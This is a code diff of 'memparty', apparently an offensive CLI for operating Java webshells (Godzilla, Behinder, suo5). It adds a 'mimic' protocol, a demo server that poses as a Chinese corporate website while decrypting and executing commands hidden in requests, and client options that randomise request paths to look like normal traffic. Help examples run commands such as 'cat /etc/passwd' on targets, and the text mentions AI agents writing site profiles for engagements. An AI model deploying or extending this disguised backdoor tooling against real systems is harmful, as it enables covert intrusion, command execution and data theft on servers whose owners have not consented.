@@ -1779,15 +2205,17 @@ function registerConnectCommand(program) {
|
|
|
1779
2205
|
"gate header value reported by gen (shellToolConfig.headerValue)"
|
|
1780
2206
|
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').addOption(
|
|
1781
2207
|
new Option("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
|
|
1782
|
-
).option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
|
|
2208
|
+
).option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
|
|
1783
2209
|
"after",
|
|
1784
2210
|
`
|
|
1785
2211
|
Examples:
|
|
1786
2212
|
$ memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key \\
|
|
1787
|
-
--header-value
|
|
2213
|
+
--header-value my-secret-token
|
|
1788
2214
|
$ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond \\
|
|
1789
|
-
--header-value
|
|
2215
|
+
--header-value my-secret-token
|
|
1790
2216
|
$ memparty connect -u http://target/suo5.jsp -t suo5
|
|
2217
|
+
$ memparty connect -u http://target/ -t mimic --pass pass --key key \\
|
|
2218
|
+
--profile target-site --dynamic-path
|
|
1791
2219
|
$ memparty connect web222 # saved target, see 'memparty list'
|
|
1792
2220
|
$ memparty connect -u https://target/shell.jsp -t godzilla -k --json
|
|
1793
2221
|
|
|
@@ -1811,7 +2239,8 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
|
|
|
1811
2239
|
headerName: opts.headerName,
|
|
1812
2240
|
headerValue: opts.headerValue,
|
|
1813
2241
|
extraHeaders: parseExtraHeaders(opts.header),
|
|
1814
|
-
insecure: opts.insecure
|
|
2242
|
+
insecure: opts.insecure,
|
|
2243
|
+
profile: opts.profile
|
|
1815
2244
|
});
|
|
1816
2245
|
} catch (err) {
|
|
1817
2246
|
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
@@ -1826,21 +2255,18 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
|
|
|
1826
2255
|
insecure: conn.insecure
|
|
1827
2256
|
};
|
|
1828
2257
|
let result;
|
|
1829
|
-
|
|
1830
|
-
|
|
1831
|
-
|
|
1832
|
-
|
|
1833
|
-
|
|
1834
|
-
|
|
1835
|
-
|
|
1836
|
-
|
|
1837
|
-
|
|
1838
|
-
|
|
1839
|
-
|
|
1840
|
-
|
|
1841
|
-
`);
|
|
1842
|
-
process.exitCode = 1;
|
|
1843
|
-
return;
|
|
2258
|
+
try {
|
|
2259
|
+
const protocol = requireProtocol(conn.tool);
|
|
2260
|
+
const options = {
|
|
2261
|
+
suo5Mode: opts.suo5Mode,
|
|
2262
|
+
profile: conn.profile,
|
|
2263
|
+
dynamicPath: opts.dynamicPath
|
|
2264
|
+
};
|
|
2265
|
+
result = await protocol.test({ conn, common, options });
|
|
2266
|
+
} catch (err) {
|
|
2267
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
2268
|
+
process.exitCode = 1;
|
|
2269
|
+
return;
|
|
1844
2270
|
}
|
|
1845
2271
|
let savedAs;
|
|
1846
2272
|
if (result.ok && conn.targetName === void 0 && opts.save !== false) {
|
|
@@ -1877,6 +2303,217 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
|
|
|
1877
2303
|
});
|
|
1878
2304
|
}
|
|
1879
2305
|
|
|
2306
|
+
// src/connect/mimic-server.ts
|
|
2307
|
+
import { exec } from "child_process";
|
|
2308
|
+
import http2 from "http";
|
|
2309
|
+
function tryDecrypt(b64, aesKey) {
|
|
2310
|
+
try {
|
|
2311
|
+
return decryptField(b64, aesKey);
|
|
2312
|
+
} catch {
|
|
2313
|
+
return null;
|
|
2314
|
+
}
|
|
2315
|
+
}
|
|
2316
|
+
var SITE_TITLE = "\u4E91\u67A2\u79D1\u6280 - \u4F01\u4E1A\u6570\u5B57\u5316\u670D\u52A1\u5546";
|
|
2317
|
+
var NAV = `<nav><a href="/">\u9996\u9875</a> <a href="/products/">\u4EA7\u54C1\u4E2D\u5FC3</a> <a href="/news/">\u65B0\u95FB\u52A8\u6001</a> <a href="/about/">\u5173\u4E8E\u6211\u4EEC</a></nav>`;
|
|
2318
|
+
var PAGES = {
|
|
2319
|
+
"/": `<!DOCTYPE html>
|
|
2320
|
+
<html lang="zh-CN">
|
|
2321
|
+
<head>
|
|
2322
|
+
<meta charset="UTF-8">
|
|
2323
|
+
<title>${SITE_TITLE}</title>
|
|
2324
|
+
</head>
|
|
2325
|
+
<body>
|
|
2326
|
+
<header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
|
|
2327
|
+
<main>
|
|
2328
|
+
<h2>\u8BA9\u4F01\u4E1A\u6570\u636E\u6D41\u52A8\u8D77\u6765</h2>
|
|
2329
|
+
<p>\u4E91\u67A2\u79D1\u6280\u4E3A\u4E2D\u578B\u4F01\u4E1A\u63D0\u4F9B\u6570\u636E\u96C6\u6210\u3001\u62A5\u8868\u53EF\u89C6\u5316\u4E0E\u6D41\u7A0B\u81EA\u52A8\u5316\u670D\u52A1\u3002</p>
|
|
2330
|
+
<ul>
|
|
2331
|
+
<li><a href="/products/yunetl.html">\u4E91\u67A2 ETL \u5E73\u53F0</a></li>
|
|
2332
|
+
<li><a href="/products/yunbi.html">\u4E91\u67A2 BI \u62A5\u8868</a></li>
|
|
2333
|
+
<li><a href="/news/2024/release-notes.html">2024 \u4EA7\u54C1\u53D1\u5E03\u8BF4\u660E</a></li>
|
|
2334
|
+
</ul>
|
|
2335
|
+
</main>
|
|
2336
|
+
<footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280 \u4EACICP\u59072024000000\u53F7</footer>
|
|
2337
|
+
</body>
|
|
2338
|
+
</html>`,
|
|
2339
|
+
"/products/": `<!DOCTYPE html>
|
|
2340
|
+
<html lang="zh-CN">
|
|
2341
|
+
<head>
|
|
2342
|
+
<meta charset="UTF-8">
|
|
2343
|
+
<title>\u4EA7\u54C1\u4E2D\u5FC3 - \u4E91\u67A2\u79D1\u6280</title>
|
|
2344
|
+
</head>
|
|
2345
|
+
<body>
|
|
2346
|
+
<header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
|
|
2347
|
+
<main><h2>\u4EA7\u54C1\u4E2D\u5FC3</h2><p>ETL / BI / \u6D41\u7A0B\u81EA\u52A8\u5316\u4E09\u5927\u4EA7\u54C1\u7EBF\u3002</p></main>
|
|
2348
|
+
<footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280</footer>
|
|
2349
|
+
</body>
|
|
2350
|
+
</html>`,
|
|
2351
|
+
"/news/": `<!DOCTYPE html>
|
|
2352
|
+
<html lang="zh-CN">
|
|
2353
|
+
<head>
|
|
2354
|
+
<meta charset="UTF-8">
|
|
2355
|
+
<title>\u65B0\u95FB\u52A8\u6001 - \u4E91\u67A2\u79D1\u6280</title>
|
|
2356
|
+
</head>
|
|
2357
|
+
<body>
|
|
2358
|
+
<header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
|
|
2359
|
+
<main><h2>\u65B0\u95FB\u52A8\u6001</h2><p>\u4E91\u67A2 ETL 3.2 \u53D1\u5E03\uFF0C\u65B0\u589E\u5B9E\u65F6\u540C\u6B65\u901A\u9053\u3002</p></main>
|
|
2360
|
+
<footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280</footer>
|
|
2361
|
+
</body>
|
|
2362
|
+
</html>`
|
|
2363
|
+
};
|
|
2364
|
+
var NOT_FOUND = `<!DOCTYPE html>
|
|
2365
|
+
<html lang="zh-CN">
|
|
2366
|
+
<head>
|
|
2367
|
+
<meta charset="UTF-8">
|
|
2368
|
+
<title>\u9875\u9762\u4E0D\u5B58\u5728 - \u4E91\u67A2\u79D1\u6280</title>
|
|
2369
|
+
</head>
|
|
2370
|
+
<body>
|
|
2371
|
+
<header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
|
|
2372
|
+
<main><h2>404</h2><p>\u60A8\u8BBF\u95EE\u7684\u9875\u9762\u4E0D\u5B58\u5728\u3002</p></main>
|
|
2373
|
+
<footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280</footer>
|
|
2374
|
+
</body>
|
|
2375
|
+
</html>`;
|
|
2376
|
+
var MOCK_HOMEPAGE = PAGES["/"];
|
|
2377
|
+
function runCommand(command, timeoutMs) {
|
|
2378
|
+
return new Promise((resolve2) => {
|
|
2379
|
+
exec(command, { timeout: timeoutMs, windowsHide: true }, (err, stdout, stderr) => {
|
|
2380
|
+
if (err && !stdout && !stderr) {
|
|
2381
|
+
resolve2(`command failed: ${err.message}`);
|
|
2382
|
+
return;
|
|
2383
|
+
}
|
|
2384
|
+
resolve2(stdout + stderr);
|
|
2385
|
+
});
|
|
2386
|
+
});
|
|
2387
|
+
}
|
|
2388
|
+
async function startMimicServer(options = {}) {
|
|
2389
|
+
const pass = options.pass ?? "pass";
|
|
2390
|
+
const secretKey = options.secretKey ?? "key";
|
|
2391
|
+
const aesKey = deriveAesKey(secretKey);
|
|
2392
|
+
const leftMarker = deriveLeftMarker(pass, secretKey);
|
|
2393
|
+
const execTimeoutMs = options.execTimeoutMs ?? 5e3;
|
|
2394
|
+
const skin = PAGES["/"];
|
|
2395
|
+
const server = http2.createServer((req, res) => {
|
|
2396
|
+
if (req.method === "POST") {
|
|
2397
|
+
const chunks = [];
|
|
2398
|
+
req.on("data", (c) => chunks.push(c));
|
|
2399
|
+
req.on("end", () => {
|
|
2400
|
+
let command = decodeRequestBody(Buffer.concat(chunks), pass, aesKey);
|
|
2401
|
+
if (command === null) {
|
|
2402
|
+
const query = new URL(req.url ?? "/", "http://x").searchParams.get(pass);
|
|
2403
|
+
if (query) command = tryDecrypt(query, aesKey);
|
|
2404
|
+
}
|
|
2405
|
+
if (command === null) {
|
|
2406
|
+
const header = req.headers[pass.toLowerCase()];
|
|
2407
|
+
if (typeof header === "string") command = tryDecrypt(header, aesKey);
|
|
2408
|
+
}
|
|
2409
|
+
if (command === null) {
|
|
2410
|
+
res.writeHead(404, { "Content-Type": "text/html; charset=utf-8" });
|
|
2411
|
+
res.end(NOT_FOUND);
|
|
2412
|
+
return;
|
|
2413
|
+
}
|
|
2414
|
+
void runCommand(command.toString("utf8"), execTimeoutMs).then((output) => {
|
|
2415
|
+
const b64 = encryptField(Buffer.from(output, "utf8"), aesKey);
|
|
2416
|
+
res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
|
|
2417
|
+
res.end(injectIntoTemplate(skin, b64, leftMarker));
|
|
2418
|
+
});
|
|
2419
|
+
});
|
|
2420
|
+
return;
|
|
2421
|
+
}
|
|
2422
|
+
const page = PAGES[req.url ?? "/"] ?? NOT_FOUND;
|
|
2423
|
+
res.writeHead(PAGES[req.url ?? "/"] ? 200 : 404, {
|
|
2424
|
+
"Content-Type": "text/html; charset=utf-8"
|
|
2425
|
+
});
|
|
2426
|
+
res.end(page);
|
|
2427
|
+
});
|
|
2428
|
+
await new Promise((resolve2) => server.listen(0, "127.0.0.1", resolve2));
|
|
2429
|
+
const { port } = server.address();
|
|
2430
|
+
return {
|
|
2431
|
+
url: `http://127.0.0.1:${port}/`,
|
|
2432
|
+
port,
|
|
2433
|
+
close: () => new Promise((resolve2) => server.close(() => resolve2()))
|
|
2434
|
+
};
|
|
2435
|
+
}
|
|
2436
|
+
|
|
2437
|
+
// src/commands/demo.ts
|
|
2438
|
+
function demoProfile(site) {
|
|
2439
|
+
return {
|
|
2440
|
+
name: "demo",
|
|
2441
|
+
site,
|
|
2442
|
+
createdAt: (/* @__PURE__ */ new Date()).toISOString(),
|
|
2443
|
+
templates: [
|
|
2444
|
+
{
|
|
2445
|
+
title: "\u4E91\u67A2\u79D1\u6280 - \u4F01\u4E1A\u6570\u5B57\u5316\u670D\u52A1\u5546",
|
|
2446
|
+
template: MOCK_HOMEPAGE,
|
|
2447
|
+
contentType: "text/html; charset=utf-8"
|
|
2448
|
+
}
|
|
2449
|
+
],
|
|
2450
|
+
paths: ["/products/", "/news/", "/about/"]
|
|
2451
|
+
};
|
|
2452
|
+
}
|
|
2453
|
+
function registerDemoCommand(program) {
|
|
2454
|
+
program.command("demo").description(
|
|
2455
|
+
"Run the mimic protocol end-to-end locally: fake business site + profile + connect + one exec (no external traffic)"
|
|
2456
|
+
).option("--cmd <command>", "command to execute on the fake target", "whoami").option("--json", "output raw JSON").addHelpText(
|
|
2457
|
+
"after",
|
|
2458
|
+
`
|
|
2459
|
+
This is the reference walk-through for the mimic plugin:
|
|
2460
|
+
1. starts a fake business site on 127.0.0.1 (a mimic shell hides in it)
|
|
2461
|
+
2. loads a hand-written site profile (in real engagements the operator
|
|
2462
|
+
or AI agent writes it \u2014 see 'memparty profile init')
|
|
2463
|
+
3. 'connect' does a credential round-trip using a dynamic path
|
|
2464
|
+
4. 'exec' runs --cmd through the same channel
|
|
2465
|
+
Watch the printed request URL in step 3/4: it changes every run.
|
|
2466
|
+
`
|
|
2467
|
+
).action(async (opts, cmd) => {
|
|
2468
|
+
const globals = cmd.optsWithGlobals();
|
|
2469
|
+
const timeoutMs = Number.parseInt(globals.timeout ?? "30000", 10);
|
|
2470
|
+
const log = (line) => {
|
|
2471
|
+
if (!opts.json) process.stdout.write(`${line}
|
|
2472
|
+
`);
|
|
2473
|
+
};
|
|
2474
|
+
const server = await startMimicServer();
|
|
2475
|
+
try {
|
|
2476
|
+
log(`[1/4] fake business site up at ${server.url}`);
|
|
2477
|
+
const profile = demoProfile(server.url.replace(/\/+$/, ""));
|
|
2478
|
+
saveProfile(profile);
|
|
2479
|
+
log(
|
|
2480
|
+
`[2/4] profile 'demo' loaded: title=${JSON.stringify(profile.templates[0].title)}, paths=[${profile.paths.join(", ")}], templates=${profile.templates.length}`
|
|
2481
|
+
);
|
|
2482
|
+
const protocol = getProtocol("mimic");
|
|
2483
|
+
const conn = {
|
|
2484
|
+
url: server.url,
|
|
2485
|
+
tool: "mimic",
|
|
2486
|
+
pass: "pass",
|
|
2487
|
+
key: "key",
|
|
2488
|
+
extraHeaders: {},
|
|
2489
|
+
profile: "demo"
|
|
2490
|
+
};
|
|
2491
|
+
const common = { timeoutMs };
|
|
2492
|
+
const options = { profile: "demo", dynamicPath: true };
|
|
2493
|
+
const test = await protocol.test({ conn, common, options });
|
|
2494
|
+
if (!test.ok) throw new Error(`connect failed: ${test.error}`);
|
|
2495
|
+
log(`[3/4] connect ok \u2014 ${test.detail}`);
|
|
2496
|
+
const result = await protocol.exec({ conn, common, options }, opts.cmd);
|
|
2497
|
+
if (!result.ok) throw new Error(`exec failed: ${result.error}`);
|
|
2498
|
+
log(`[4/4] exec ok \u2014 ${JSON.stringify(opts.cmd)} output:`);
|
|
2499
|
+
if (opts.json) {
|
|
2500
|
+
process.stdout.write(
|
|
2501
|
+
`${JSON.stringify({ ok: true, profile, test, exec: result }, null, 2)}
|
|
2502
|
+
`
|
|
2503
|
+
);
|
|
2504
|
+
} else {
|
|
2505
|
+
process.stdout.write(`${result.output ?? ""}`);
|
|
2506
|
+
if (result.output && !result.output.endsWith("\n")) process.stdout.write("\n");
|
|
2507
|
+
}
|
|
2508
|
+
} catch (err) {
|
|
2509
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
2510
|
+
process.exitCode = 1;
|
|
2511
|
+
} finally {
|
|
2512
|
+
await server.close();
|
|
2513
|
+
}
|
|
2514
|
+
});
|
|
2515
|
+
}
|
|
2516
|
+
|
|
1880
2517
|
// src/commands/exec.ts
|
|
1881
2518
|
import { Option as Option2 } from "commander";
|
|
1882
2519
|
function parseExtraHeaders2(lines) {
|
|
@@ -1892,10 +2529,10 @@ function parseExtraHeaders2(lines) {
|
|
|
1892
2529
|
}
|
|
1893
2530
|
function registerExecCommand(program) {
|
|
1894
2531
|
program.command("exec").description(
|
|
1895
|
-
"Execute a command on a deployed webshell
|
|
2532
|
+
"Execute a command on a deployed webshell and print its output"
|
|
1896
2533
|
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
1897
|
-
new Option2("-t, --tool <tool>", "shell
|
|
1898
|
-
).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").addOption(
|
|
2534
|
+
new Option2("-t, --tool <tool>", "shell protocol").choices(protocolNames("exec"))
|
|
2535
|
+
).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key", "key").addOption(
|
|
1899
2536
|
new Option2("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
|
|
1900
2537
|
).option(
|
|
1901
2538
|
"--header-name <name>",
|
|
@@ -1903,14 +2540,14 @@ function registerExecCommand(program) {
|
|
|
1903
2540
|
).option(
|
|
1904
2541
|
"--header-value <value>",
|
|
1905
2542
|
"gate header value reported by gen (shellToolConfig.headerValue)"
|
|
1906
|
-
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
|
|
2543
|
+
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
|
|
1907
2544
|
"after",
|
|
1908
2545
|
`
|
|
1909
2546
|
Examples:
|
|
1910
2547
|
$ memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key \\
|
|
1911
|
-
--header-value
|
|
2548
|
+
--header-value my-secret-token --cmd "whoami"
|
|
1912
2549
|
$ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond \\
|
|
1913
|
-
--header-value
|
|
2550
|
+
--header-value my-secret-token --cmd "cat /etc/passwd"
|
|
1914
2551
|
$ memparty exec web222 --cmd "whoami" # saved target, see 'memparty list'
|
|
1915
2552
|
$ memparty exec -u http://target/shell.jsp -t godzilla --os windows \\
|
|
1916
2553
|
--cmd "ipconfig /all" --json
|
|
@@ -1932,7 +2569,8 @@ the OS inside its payload, so --os does not apply.
|
|
|
1932
2569
|
headerName: opts.headerName,
|
|
1933
2570
|
headerValue: opts.headerValue,
|
|
1934
2571
|
extraHeaders: parseExtraHeaders2(opts.header),
|
|
1935
|
-
insecure: opts.insecure
|
|
2572
|
+
insecure: opts.insecure,
|
|
2573
|
+
profile: opts.profile
|
|
1936
2574
|
});
|
|
1937
2575
|
} catch (err) {
|
|
1938
2576
|
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
@@ -1947,28 +2585,23 @@ the OS inside its payload, so --os does not apply.
|
|
|
1947
2585
|
insecure: conn.insecure
|
|
1948
2586
|
};
|
|
1949
2587
|
let result;
|
|
1950
|
-
|
|
1951
|
-
|
|
1952
|
-
|
|
1953
|
-
|
|
1954
|
-
conn.url,
|
|
1955
|
-
conn.pass ?? "pass",
|
|
1956
|
-
conn.key ?? "key",
|
|
1957
|
-
opts.cmd,
|
|
1958
|
-
gdzOpts
|
|
1959
|
-
);
|
|
1960
|
-
break;
|
|
1961
|
-
}
|
|
1962
|
-
case "behinder":
|
|
1963
|
-
result = await execBehinder(conn.url, conn.pass ?? "rebeyond", opts.cmd, common);
|
|
1964
|
-
break;
|
|
1965
|
-
default:
|
|
1966
|
-
process.stderr.write(
|
|
1967
|
-
`Error: exec supports godzilla | behinder (got ${String(conn.tool)})
|
|
1968
|
-
`
|
|
1969
|
-
);
|
|
2588
|
+
try {
|
|
2589
|
+
const protocol = requireProtocol(conn.tool);
|
|
2590
|
+
if (!protocol.exec) {
|
|
2591
|
+
reportError(unsupportedMessage(protocol, "exec"), opts.json ? ["--json"] : []);
|
|
1970
2592
|
process.exitCode = 1;
|
|
1971
2593
|
return;
|
|
2594
|
+
}
|
|
2595
|
+
const options = {
|
|
2596
|
+
os: opts.os,
|
|
2597
|
+
profile: conn.profile,
|
|
2598
|
+
dynamicPath: opts.dynamicPath
|
|
2599
|
+
};
|
|
2600
|
+
result = await protocol.exec({ conn, common, options }, opts.cmd);
|
|
2601
|
+
} catch (err) {
|
|
2602
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
2603
|
+
process.exitCode = 1;
|
|
2604
|
+
return;
|
|
1972
2605
|
}
|
|
1973
2606
|
let savedAs;
|
|
1974
2607
|
if (result.ok && conn.targetName === void 0 && opts.save !== false) {
|
|
@@ -2008,11 +2641,11 @@ the OS inside its payload, so --os does not apply.
|
|
|
2008
2641
|
}
|
|
2009
2642
|
|
|
2010
2643
|
// src/commands/gen.ts
|
|
2011
|
-
import { readFileSync as
|
|
2644
|
+
import { readFileSync as readFileSync6 } from "fs";
|
|
2012
2645
|
import { Option as Option3 } from "commander";
|
|
2013
2646
|
|
|
2014
2647
|
// src/core/output.ts
|
|
2015
|
-
import { writeFileSync as
|
|
2648
|
+
import { writeFileSync as writeFileSync3 } from "fs";
|
|
2016
2649
|
var BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"];
|
|
2017
2650
|
function hasBinaryExtension(path) {
|
|
2018
2651
|
const lower = path.toLowerCase();
|
|
@@ -2024,7 +2657,7 @@ function shouldDecode(opts) {
|
|
|
2024
2657
|
return false;
|
|
2025
2658
|
}
|
|
2026
2659
|
function emitPayload(payload, opts, sinks = {}) {
|
|
2027
|
-
const writeFile = sinks.writeFile ?? ((p, d) =>
|
|
2660
|
+
const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync3(p, d));
|
|
2028
2661
|
const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));
|
|
2029
2662
|
const decoded = shouldDecode(opts);
|
|
2030
2663
|
if (opts.outFile) {
|
|
@@ -2047,7 +2680,7 @@ function emitPayload(payload, opts, sinks = {}) {
|
|
|
2047
2680
|
}
|
|
2048
2681
|
|
|
2049
2682
|
// src/core/request-builder.ts
|
|
2050
|
-
import { randomInt } from "crypto";
|
|
2683
|
+
import { randomInt as randomInt3 } from "crypto";
|
|
2051
2684
|
|
|
2052
2685
|
// src/core/jdk.ts
|
|
2053
2686
|
var JDK_VERSIONS = {
|
|
@@ -2084,7 +2717,7 @@ var SPRING_GZIP_JDK17_RELATED_PACKERS = /* @__PURE__ */ new Set([
|
|
|
2084
2717
|
var UPPERCASE_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
|
2085
2718
|
var CLASS_NAME_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
|
|
2086
2719
|
function randomChar(chars) {
|
|
2087
|
-
return chars[
|
|
2720
|
+
return chars[randomInt3(chars.length)];
|
|
2088
2721
|
}
|
|
2089
2722
|
function generateSpringExpressionInjectorClassName() {
|
|
2090
2723
|
const randomName = Array.from({ length: 5 }, () => randomChar(CLASS_NAME_LETTERS)).join("");
|
|
@@ -2153,7 +2786,7 @@ function buildProbeRequest(opts) {
|
|
|
2153
2786
|
}
|
|
2154
2787
|
|
|
2155
2788
|
// src/wizard/memshell-wizard.ts
|
|
2156
|
-
import { readFileSync as
|
|
2789
|
+
import { readFileSync as readFileSync5 } from "fs";
|
|
2157
2790
|
import { checkbox, confirm, input, select, Separator } from "@inquirer/prompts";
|
|
2158
2791
|
var JDK_CHOICES = [
|
|
2159
2792
|
{ name: "server default", value: "" },
|
|
@@ -2221,7 +2854,7 @@ async function runMemShellWizard(client) {
|
|
|
2221
2854
|
}
|
|
2222
2855
|
case "Custom": {
|
|
2223
2856
|
const file = await input({ message: "Path to custom .class file" });
|
|
2224
|
-
opts.shellClassBase64 =
|
|
2857
|
+
opts.shellClassBase64 = readFileSync5(file).toString("base64");
|
|
2225
2858
|
break;
|
|
2226
2859
|
}
|
|
2227
2860
|
default:
|
|
@@ -2262,7 +2895,7 @@ var REQUIRED = ["server", "tool", "type", "packer"];
|
|
|
2262
2895
|
function toOptions(o) {
|
|
2263
2896
|
let shellClassBase64 = o.shellClassBase64;
|
|
2264
2897
|
if (o.shellClassFile) {
|
|
2265
|
-
shellClassBase64 =
|
|
2898
|
+
shellClassBase64 = readFileSync6(o.shellClassFile).toString("base64");
|
|
2266
2899
|
}
|
|
2267
2900
|
return {
|
|
2268
2901
|
server: o.server,
|
|
@@ -2416,8 +3049,8 @@ Examples:
|
|
|
2416
3049
|
$ memparty log # latest 50 operations
|
|
2417
3050
|
$ memparty log --category exec # only command executions
|
|
2418
3051
|
$ memparty log --category save # only target saves
|
|
2419
|
-
$ memparty log --target
|
|
2420
|
-
$ memparty log --category exec --target 192.
|
|
3052
|
+
$ memparty log --target web1 # everything against project web1
|
|
3053
|
+
$ memparty log --category exec --target 192.0.2.10 --json
|
|
2421
3054
|
`
|
|
2422
3055
|
).action((opts) => {
|
|
2423
3056
|
const limit = Number.parseInt(opts.limit ?? "50", 10);
|
|
@@ -2446,12 +3079,12 @@ Examples:
|
|
|
2446
3079
|
// src/mcp/server.ts
|
|
2447
3080
|
import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
|
|
2448
3081
|
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
|
|
2449
|
-
import { writeFileSync as
|
|
3082
|
+
import { writeFileSync as writeFileSync4 } from "fs";
|
|
2450
3083
|
import { z } from "zod";
|
|
2451
3084
|
|
|
2452
3085
|
// src/core/localfile.ts
|
|
2453
|
-
import { existsSync as
|
|
2454
|
-
import { dirname as dirname3, join as
|
|
3086
|
+
import { existsSync as existsSync4, readFileSync as readFileSync7, statSync } from "fs";
|
|
3087
|
+
import { dirname as dirname3, join as join5, resolve } from "path";
|
|
2455
3088
|
var UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;
|
|
2456
3089
|
function remoteBasename(remotePath) {
|
|
2457
3090
|
const trimmed = remotePath.replace(/[/\\]+$/, "");
|
|
@@ -2468,18 +3101,18 @@ function resolveDownloadPath(remotePath, localArg, force) {
|
|
|
2468
3101
|
);
|
|
2469
3102
|
}
|
|
2470
3103
|
target = name;
|
|
2471
|
-
} else if (
|
|
3104
|
+
} else if (existsSync4(localArg) && statSync(localArg).isDirectory()) {
|
|
2472
3105
|
if (!name) {
|
|
2473
3106
|
throw new Error(
|
|
2474
3107
|
`cannot derive a local filename from remote path ${JSON.stringify(remotePath)} \u2014 pass -o with a file path`
|
|
2475
3108
|
);
|
|
2476
3109
|
}
|
|
2477
|
-
target =
|
|
3110
|
+
target = join5(localArg, name);
|
|
2478
3111
|
} else {
|
|
2479
3112
|
target = localArg;
|
|
2480
3113
|
}
|
|
2481
3114
|
const abs = resolve(target);
|
|
2482
|
-
if (
|
|
3115
|
+
if (existsSync4(abs)) {
|
|
2483
3116
|
if (statSync(abs).isDirectory()) {
|
|
2484
3117
|
throw new Error(`local path ${target} is a directory \u2014 pass -o with a file path`);
|
|
2485
3118
|
}
|
|
@@ -2488,13 +3121,13 @@ function resolveDownloadPath(remotePath, localArg, force) {
|
|
|
2488
3121
|
}
|
|
2489
3122
|
}
|
|
2490
3123
|
const parent = dirname3(abs);
|
|
2491
|
-
if (!
|
|
3124
|
+
if (!existsSync4(parent) || !statSync(parent).isDirectory()) {
|
|
2492
3125
|
throw new Error(`local directory ${parent} does not exist`);
|
|
2493
3126
|
}
|
|
2494
3127
|
return abs;
|
|
2495
3128
|
}
|
|
2496
3129
|
function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
|
|
2497
|
-
if (!
|
|
3130
|
+
if (!existsSync4(localPath)) {
|
|
2498
3131
|
throw new Error(`local file ${localPath} does not exist`);
|
|
2499
3132
|
}
|
|
2500
3133
|
const stat = statSync(localPath);
|
|
@@ -2506,7 +3139,7 @@ function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
|
|
|
2506
3139
|
`local file ${localPath} is ${stat.size} bytes \u2014 over the ${maxBytes}-byte upload limit`
|
|
2507
3140
|
);
|
|
2508
3141
|
}
|
|
2509
|
-
return
|
|
3142
|
+
return readFileSync7(localPath);
|
|
2510
3143
|
}
|
|
2511
3144
|
|
|
2512
3145
|
// src/version.ts
|
|
@@ -2979,7 +3612,7 @@ function createMcpServer(client) {
|
|
|
2979
3612
|
}
|
|
2980
3613
|
if (result.ok && result.data !== void 0) {
|
|
2981
3614
|
try {
|
|
2982
|
-
|
|
3615
|
+
writeFileSync4(localPath, result.data);
|
|
2983
3616
|
} catch (err) {
|
|
2984
3617
|
result = {
|
|
2985
3618
|
...result,
|
|
@@ -3272,7 +3905,7 @@ function registerMcpCommand(program) {
|
|
|
3272
3905
|
}
|
|
3273
3906
|
|
|
3274
3907
|
// src/commands/parse-classname.ts
|
|
3275
|
-
import { readFileSync as
|
|
3908
|
+
import { readFileSync as readFileSync8 } from "fs";
|
|
3276
3909
|
function registerParseClassNameCommand(program) {
|
|
3277
3910
|
program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").addHelpText(
|
|
3278
3911
|
"after",
|
|
@@ -3285,7 +3918,7 @@ Examples:
|
|
|
3285
3918
|
